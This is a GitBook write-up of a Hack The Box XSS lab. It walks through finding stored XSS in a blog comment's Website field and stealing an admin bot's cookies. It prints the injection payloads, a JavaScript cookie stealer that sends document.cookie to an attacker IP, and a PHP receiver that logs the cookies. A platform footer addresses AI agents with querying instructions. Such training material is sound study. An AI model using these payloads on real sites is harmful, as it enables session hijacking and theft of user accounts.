> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/cross-site-scripting-xss.md).

# Cross-Site Scripting (XSS)

## Skills Assessment Walkthrough

> **HTB Module:** Cross-Site Scripting (XSS) **Difficulty:** Medium **Goal:** Find stored XSS vulnerability in Security Blog → hijack victim's session → steal cookies containing the flag **Target:** Security Blog at `/assessment/`
>
> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FUT8ZpSei0BdfrA3urepY%2Fimage.png?alt=media\&token=28c6b720-e6c4-4f41-8d93-8e312087cccf)![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2Fvo4h6g5jpVj03iFpxfPi%2Fimage.png?alt=media\&token=8e7c3606-f77c-41c8-9932-ad8d7a440c3a)

***

### 📌 Scenario

We're performing a Web Application Penetration Test for a company that just released their new **Security Blog**. Our task is focused on testing for **Cross-Site Scripting (XSS)** vulnerabilities. We need to:

1. Identify a user-input field vulnerable to XSS
2. Find a working XSS payload
3. Use **Session Hijacking** to steal the victim's cookies (which contain the flag)

### 🗺️ Attack Chain

```
Security Blog → "Leave a comment" form
  → Test fields → Website field is vulnerable (Stored XSS)
    → Set up cookie stealer server (script.js + index.php)
      → First attempt: port 9090 → victim fetches /web and /script.js ✅
        → Fix: use port 80 + correct payload in Website field
          → Victim visits page → XSS fires → cookie stolen
            → STOLEN COOKIE contains flag=HTB{...} 🏴
```

***

***

## Step 1 — Initial Testing: Finding the Vulnerable Field

Navigate to the Security Blog at `/assessment/`. There's a blog post with a **"Leave a comment"** section at the bottom. The comment form has 4 fields:

* **Comment** (textarea)
* **Name** (required)
* **Email** (required)
* **Website** (optional)

We test XSS payloads in multiple fields. The first attempt uses payloads in both **Comment** and **Website** fields:

* **Comment:** `"><script src="http://10.10.16.46:80/comment"></script>`
* **Website:** `"><script src="http://10.10.16.46:80/web"></script>`
* **Name/Email:** `test`

The `">` prefix breaks out of the HTML attribute context, then our `<script>` tag loads an external JavaScript file from our attacker server.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FPXJQGwrmpah4W2lcNCWW%2Fimg-000.png?alt=media\&token=70c61be7-573f-4c5e-a08c-d06964c58800)

***

## Step 2 — Confirming the Vulnerable Field

Start a PHP development server on our Kali machine to catch incoming requests:

```bash
sudo php -S 0.0.0.0:9090
```

After submitting the comment, we check which endpoint the victim's browser requests. The server logs show:

```
GET /web         [200]
GET /script.js   [200]
```

The victim's browser made a request to `/web` — meaning the **Website field** is the one that rendered our XSS payload! The Comment field was sanitized but the Website field was not. 🎯

It also requested `/script.js` which means a previously injected payload is also active.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F3doofJTBGCjUyGbUiFPx%2Fimg-001.png?alt=media\&token=e764223b-5555-4105-979a-72fb167f8dfb)

***

## Step 3 — Setting Up the Cookie Stealer

Now we know the Website field is vulnerable. Set up a proper **session hijacking** payload. Create two files in `~/tempserver/`:

#### script.js (JavaScript payload)

```javascript
new Image().src = 'http://10.10.16.46:80/index.php?c=' + encodeURIComponent(document.cookie);
```

This creates a new Image object with our server URL as the source, appending the victim's cookies as a URL parameter. When the browser loads this "image", it sends the cookies to us.

#### index.php (Cookie receiver)

```php
<?php
if (isset($_GET['c'])) {
    // This forces the cookie string to print out clearly in your Kali terminal logs
    error_log("=== STOLEN COOKIE: " . $_GET['c'] . " ===");
}
?>
```

This PHP script catches the incoming cookie via the `c` GET parameter and prints it in the terminal logs.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F8P47YnA9F9zCO2e4MTKb%2Fimg-002.png?alt=media\&token=a5a8e458-5d8c-4f80-8090-86d1f2d5bbdd)

***

## Step 4 — Injecting the Final Payload

Submit a new comment with the **working XSS payload** in the Website field:

* **Comment:** `test`
* **Name:** `test`
* **Email:** `test`
* **Website:** `"><script src="http://10.10.16.46:80/script.js"></script>`

This time the payload points to `script.js` on port **80**, which will execute our cookie stealer when the victim (or an admin bot) visits the blog post.

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FykIBRzAnUsfSuTj7HcOs%2Fimg-003.png?alt=media\&token=cc0e0a62-2cc3-4e60-9100-dd0dc9a63a32)

***

## Step 5 — Cookie Stolen! Flag Captured! 🏴

Start the PHP server on port **80** to receive the stolen cookies:

```bash
sudo php -S 0.0.0.0:80
```

Wait for the victim (admin bot) to visit the blog post. When they do, our stored XSS fires → `script.js` loads → `document.cookie` is sent to our server.

The server logs show:

```
GET /script.js               [200]    ← victim loads our JS
=== STOLEN COOKIE: wordpress_test_cookie=WP%20Cookie%20check;
    wp-settings-time-2=1789991906;
    flag=HTB{...}                      ← FLAG IS HERE! 🏴
===
```

The victim's cookies contain:

* `wordpress_test_cookie` — WordPress cookie
* `wp-settings-time-2` — WordPress settings
* **`flag=HTB{...}`** — The flag! 🏆

> ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FZESNQqvWLR4DDxMOJYsk%2Fimg-004.png?alt=media\&token=6be0201a-f44d-4933-8a5f-7dfc76b0145f)

***

## 🏆 Pwned!

Stored XSS in the Website field → session hijacking via external JS → victim's cookies exfiltrated → flag captured from cookie.

#### How the Attack Works (End-to-End)

```
1. Attacker submits comment with XSS in Website field:
   "><script src="http://ATTACKER_IP:80/script.js"></script>

2. Payload is stored in the database (Stored XSS)

3. When victim visits the blog post:
   → Browser renders the comment
   → Website field breaks out of HTML attribute with ">
   → <script> tag loads script.js from attacker's server

4. script.js executes in victim's browser:
   → Reads document.cookie
   → Creates Image request to attacker's index.php?c=COOKIES

5. Attacker's index.php receives the cookies:
   → Logs them to terminal
   → Flag is inside the cookie! 🏴
```

#### Key Observations

* **Comment field was sanitized** — XSS payload didn't execute there
* **Website field was NOT sanitized** — Stored XSS worked here
* The `">` prefix is critical — it breaks out of the `href="..."` attribute in the rendered HTML
* Port **80** was used for the final payload (some targets block non-standard ports)
* First test on port 9090 confirmed the vuln, final exploit used port 80

#### Tools Used

| Tool        | Purpose                                           |
| ----------- | ------------------------------------------------- |
| Browser     | Accessing blog, submitting XSS payloads           |
| PHP CLI     | `php -S` development server for cookie catching   |
| `script.js` | JavaScript cookie stealer (document.cookie exfil) |
| `index.php` | PHP cookie receiver with error\_log output        |

***

> **GG 🏴** — Stored XSS in Website field → external JS cookie stealer → session hijacking → flag from victim's cookies.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/cross-site-scripting-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
